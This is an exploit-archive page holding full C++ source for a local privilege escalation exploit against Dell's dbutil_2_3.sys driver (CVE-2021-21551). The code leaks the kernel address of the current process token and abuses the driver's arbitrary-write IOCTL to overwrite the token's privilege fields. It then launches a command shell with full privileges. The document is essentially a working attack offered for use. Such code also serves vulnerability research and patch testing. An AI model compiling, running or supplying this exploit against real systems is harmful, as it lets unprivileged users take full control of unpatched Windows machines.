Share
## https://sploitus.com/exploit?id=PACKETSTORM:162739
# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)  
# Date: 10/05/2021  
# Exploit Author: Paolo Stagno aka VoidSec  
# Version: <= 2.3  
# CVE: CVE-2021-21551  
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30  
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/  
  
#include <iostream>  
#include <windows.h>  
#include <winternl.h>  
#include <tlhelp32.h>  
#include <algorithm>  
  
#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)  
#define SystemHandleInformation 0x10  
#define SystemHandleInformationSize 1024 * 1024 * 2  
  
// define the buffer structure which will be sent to the vulnerable driver  
typedef struct Exploit  
{  
uint64_t Field1; // "padding" can be anything  
void* Field2; // where to write  
uint64_t Field3; // must be 0  
uint64_t Field4; // value to write  
};  
  
typedef struct outBuffer  
{  
uint64_t Field1;  
uint64_t Field2;  
uint64_t Field3;  
uint64_t Field4;  
};  
  
// define a pointer to the native function 'NtQuerySystemInformation'  
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(  
ULONG SystemInformationClass,  
PVOID SystemInformation,  
ULONG SystemInformationLength,  
PULONG ReturnLength);  
  
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure  
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO  
{  
USHORT UniqueProcessId;  
USHORT CreatorBackTraceIndex;  
UCHAR ObjectTypeIndex;  
UCHAR HandleAttributes;  
USHORT HandleValue;  
PVOID Object;  
ULONG GrantedAccess;  
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;  
  
// define the SYSTEM_HANDLE_INFORMATION structure  
typedef struct _SYSTEM_HANDLE_INFORMATION  
{  
ULONG NumberOfHandles;  
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];  
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;  
  
int main(int argc, char** argv)  
{  
  
// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3  
HANDLE device = ::CreateFileW(  
L"\\\\.\\DBUtil_2_3",  
GENERIC_WRITE | GENERIC_READ,  
NULL,  
nullptr,  
OPEN_EXISTING,  
NULL,  
NULL);  
if (device == INVALID_HANDLE_VALUE)  
{  
std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";  
  
// resolve the address of NtQuerySystemInformation and assign it to a function pointer  
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");  
if (!NtQuerySystemInformation)  
{  
std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Resolved NtQuerySystemInformation!\n";  
  
// open the current process token - it will be used to retrieve its kernelspace address later  
HANDLE currentProcess = ::GetCurrentProcess();  
HANDLE currentToken = NULL;  
bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);  
if (!success)  
{  
std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Opened a handle to the current process token!\n";  
  
// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API  
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);  
  
// call NtQuerySystemInformation and fill the handleTableInformation structure  
ULONG returnLength = 0;  
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);  
  
uint64_t tokenAddress = 0;  
// iterate over the system's handle table and look for the handles beloging to our process  
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)  
{  
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];  
// if it finds our process and the handle matches the current token handle we already opened, print it  
if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)  
{  
tokenAddress = (uint64_t)handleInfo.Object;  
std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;  
}  
}  
  
outBuffer buffer =  
{  
0,  
0,  
0,  
0  
};  
  
/*  
dt nt!_SEP_TOKEN_PRIVILEGES  
+0x000 Present : Uint8B  
+0x008 Enabled : Uint8B  
+0x010 EnabledByDefault : Uint8B  
  
We've added +1 to the offsets to ensure that the low bytes part are 0xff.  
*/  
  
// overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token  
Exploit exploit =  
{  
0x4141414142424242,  
(void*)(tokenAddress + 0x40),  
0x0000000000000000,  
0xffffffffffffffff  
};  
  
// overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token  
Exploit exploit2 =  
{  
0x4141414142424242,  
(void*)(tokenAddress + 0x48),  
0x0000000000000000,  
0xffffffffffffffff  
};  
  
// overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token  
Exploit exploit3 =  
{  
0x4141414142424242,  
(void*)(tokenAddress + 0x50),  
0x0000000000000000,  
0xffffffffffffffff  
};  
  
DWORD bytesReturned = 0;  
success = DeviceIoControl(  
device,  
IOCTL_CODE,  
&exploit,  
sizeof(exploit),  
&buffer,  
sizeof(buffer),  
&bytesReturned,  
nullptr);  
if (!success)  
{  
std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Successfully overwritten current token 'Present' field!\n";  
  
success = DeviceIoControl(  
device,  
IOCTL_CODE,  
&exploit2,  
sizeof(exploit2),  
&buffer,  
sizeof(buffer),  
&bytesReturned,  
nullptr);  
if (!success)  
{  
std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";  
  
success = DeviceIoControl(  
device,  
IOCTL_CODE,  
&exploit3,  
sizeof(exploit3),  
&buffer,  
sizeof(buffer),  
&bytesReturned,  
nullptr);  
if (!success)  
{  
std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;  
return -1;  
}  
std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";  
std::cout << "[+] Token privileges successfully overwritten!\n";  
std::cout << "[+] Spawning a new shell with full privileges!\n";  
  
system("cmd.exe");  
  
return 0;  
}